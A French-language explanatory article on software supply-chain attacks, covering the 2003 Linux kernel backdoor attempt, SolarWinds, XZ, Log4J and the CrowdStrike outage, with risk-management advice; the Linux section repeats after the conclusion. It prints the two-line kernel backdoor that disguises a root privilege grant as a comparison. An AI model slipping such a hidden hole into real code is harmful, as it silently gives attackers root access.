Introduction aux attaques cyber sur la chaîne d’approvisionnement (« Supply Chain »)

L’histoire est riche d’exemples illustrant des techniques employées pour atteindre un ennemi en s’introduisant, de manière indirecte, via une chaîne d’approvisionnement.

Issu de la mythologie grecque, l’exemple qui est certainement le plus célèbre est celui du cheval de Troie qui permit d’introduire un groupe de soldats dans la cité après l’avoir caché dans un cheval de bois qui avait les apparences d’une offrande inoffensive.

Dans le monde numérique, les acteurs malveillants ne sont malheureusement jamais en manque d’ingéniosité quand il s’agit d’atteindre une cible. L’histoire des attaques de cybersécurité contient de nombreux exemples, dont certains ne datent pas d’hier.

Tentative d’introduction d’une porte dérobée dans le noyau Linux en 2003

A la fin de l’année 2003, le code du noyaux Linux a été modifié pour y ajouter les deux lignes suivantes :

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
        retval = -EINVAL;

Une lecture rapide de cet ajout pourrait amener à la conclusion qu’il s’agit d’un contrôle visant à empêcher une situation inattendue et surtout un bug. Un ajout qui est donc bénéfique pour le noyau.

Toutefois, une lecture plus approfondie permet de noter l’utilisation du caractère « = » au lieu de « == », transformant ce qui semblait correspondre à une comparaison de valeur en une affectation de variable, et pas des moindres, car celle-ci permet à l’utilisateur d’élever ses privilèges au rang d’administrateur (root).

Heureusement détectée avant sa publication, cette porte dérobée a pu être retirée du noyau à temps et a eu par la suite pour conséquence, l’introduction de contrôles plus stricts visant à empêcher ce type de malveillance.

Quelques autres exemples notoires de tentatives d’intrusion par la chaîne d’approvisionnement

Au cours des dernières années, de nombreux exemples d’attaques ont été découverts, qu’il s’agisse d’applications commerciales ou de projets open source :

• En 2017, une mise à jour du logiciel comptable développé par l’entreprise ukrainienne Medoc est modifiée par des attaquants. Le déploiement de cette mise à jour chez les clients de Medoc aura notamment permis la compromission de la filiale ukrainienne de Saint Gobain, puis, par extension, du Groupe dans son ensemble, qui affirmera avoir essuyé des pertes à hauteur de 384 M$.
• Fin 2020, le même scénario est employé sur le logiciel Orion (un outil d’inventaire de parc informatique) de l’éditeur Solarwinds. De par sa grande popularité, cette attaque aura permis d’introduire des portes dérobées au sein de nombreuses institutions américaines, telles que les Départements de la Sécurité Intérieure (DHS, du Trésor, du Commerce et de l’Energie) mais également d’importants acteurs tels que Microsoft, Cisco et NVidia.
• Plus récemment, en avril 2024, un autre incident qui aurait pu avoir une ampleur dramatique a été évité de justesse. En effet, un acteur malveillant a contribué durant près de deux ans au développement de la bibliothèque de compression de données nommée XZ. Usant d’une certaine patience pour gagner la confiance des développeurs, cet acteur a pu monter en grade dans ce projet jusqu’à en devenir le mainteneur principal, lui permettant d’introduire une porte dérobée très difficilement détectable. La bibliothèque XZ est utilisée notamment au sein du logiciel d’accès à distance OpenSSH et cette porte dérobée aurait facilité un accès à une multitude de systèmes informatiques. Détectée, presque par hasard, par un ingénieur de Microsoft qui observait quelques lenteurs dans le logiciel SSH, il a été possible de limiter rapidement la diffusion de la version corrompue du logiciel.

Bien que nécessitant des moyens parfois importants avec une visée à long terme, les attaques de chaîne d’approvisionnement sont de plus en plus fréquentes car le retour sur investissement s’avère conséquent. En effet, ces attaques constituent un moyen discret et efficace de pénétrer des organisations au sein desquelles des attaques directes ont plus de chance d’être détectées et bloquées.

Les risques liés à la chaîne d’approvisionnement ne résultent pas toujours d’actes de malveillance

Pour aller plus loin, les risques liés à la chaîne d'approvisionnement ne découlent pas exclusivement d'actes malveillants. Ils émergent souvent de vulnérabilités inhérentes aux technologies centralisées qui sous-tendent ou accompagnent les Systèmes d'Information (SI) des entreprises. À mesure que ces technologies se répandent, une faille de sécurité peut engendrer des conséquences massives, rendant les incidents liés à la chaîne d'approvisionnement de plus en plus impactants… mais aussi de plus en plus fréquents.

A ce titre, l’incident Log4J survenu fin 2021 est un exemple frappant : cette vulnérabilité critique, logée dans une bibliothèque de journalisation Java largement déployée, a exposé d'innombrables systèmes à des attaques permettant d’exécuter du code à distance. Les entreprises dépendant de logiciels intégrant Log4J se sont retrouvées face à un risque majeur de sécurité, car la faille pouvait être exploitée pour compromettre des systèmes entiers, voler des données sensibles ou interrompre des opérations critiques.

Plus récemment, le 19 juillet 2024, de nombreuses entreprises mais également d’importantes infrastructures aéroportuaires, ferroviaires et hospitalières ont été les victimes de la mal nommée « panne Microsoft » qui, dans les faits, aurait dû s’appeler la « panne Crowdstrike », du nom de l’éditeur d’un logiciel de sécurité qui a déployé une mise à jour chez tous ses clients, soit plus de 8 millions de postes de travail et serveurs. Il s’agissait dans ce cas d’un défaut de contrôle qualité, cet épisode illustre encore une fois la capacité de nuire à très grande échelle en employant la chaîne d’approvisionnement.

Conclusion

Les risques liés à la chaîne d’approvisionnement ayant à présent été énoncés dans cet article, il demeure très difficile de proposer des solutions à la fois généralistes et en mesure de réduire la probabilité d’occurrence. Dans le monde de l’open source, de nombreux contrôles ont été mis en place pour détecter et bloquer l’introduction de modifications malveillantes au sein des projets les plus exposés, sans pour autant apporter de garanties absolues. S’agissant d’éditeurs de logiciels propriétaires, la mise en place de moyens comparable est beaucoup plus hétérogène et difficilement vérifiable par les clients.

En conclusion, malgré une probabilité très aléatoire et difficilement contrôlable, les risques liés à la chaîne d’approvisionnement devraient assez naturellement se hisser au sein des top risks cyber dans les années à venir.

Si l’imprévisible est angoissant par essence, il existe tout de même des mesures de protection efficaces pour gérer le risque lié à la sous-traitance : tout d’abord, en créant une procédure de « bouton-rouge », afin d’endiguer un incident critique en coupant la solution, ensuite, en responsabilisant les prestataires de services tiers, au travers de Plan d’Assurance Sécurité ou de la mise à disposition d’un contact sécurité, joignable par ligne directe en cas d’incident avéré. Enfin, il faut exiger de la transparence, en récoltant la liste de tous les sous-traitants (de rang 1 et 2) de ces prestataires ou en partageant les journaux applicatifs et techniques en cas d’incident.

Tentative d’introduction d’une porte dérobée dans le noyau Linux en 2003
 

A la fin de l’année 2003, le code du noyaux Linux a été modifié pour y ajouter les deux lignes suivantes :

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))

        retval = -EINVAL;

Une lecture rapide de cet ajout pourrait amener à la conclusion qu’il s’agit d’un contrôle visant à empêcher une situation inattendue et surtout un bug. Un ajout qui est donc bénéfique pour le noyau.

Toutefois, une lecture plus approfondie permet de noter l’utilisation du caractère « = » au lieu de « == », transformant ce qui semblait correspondre à une comparaison de valeur en une affectation de variable, et pas des moindres, car celle-ci permet à l’utilisateur d’élever ses privilèges au rang d’administrateur (root).

Heureusement détectée avant sa publication, cette porte dérobée a pu être retirée du noyau à temps et a eu par la suite pour conséquence, l’introduction de contrôles plus stricts visant à empêcher ce type de malveillance.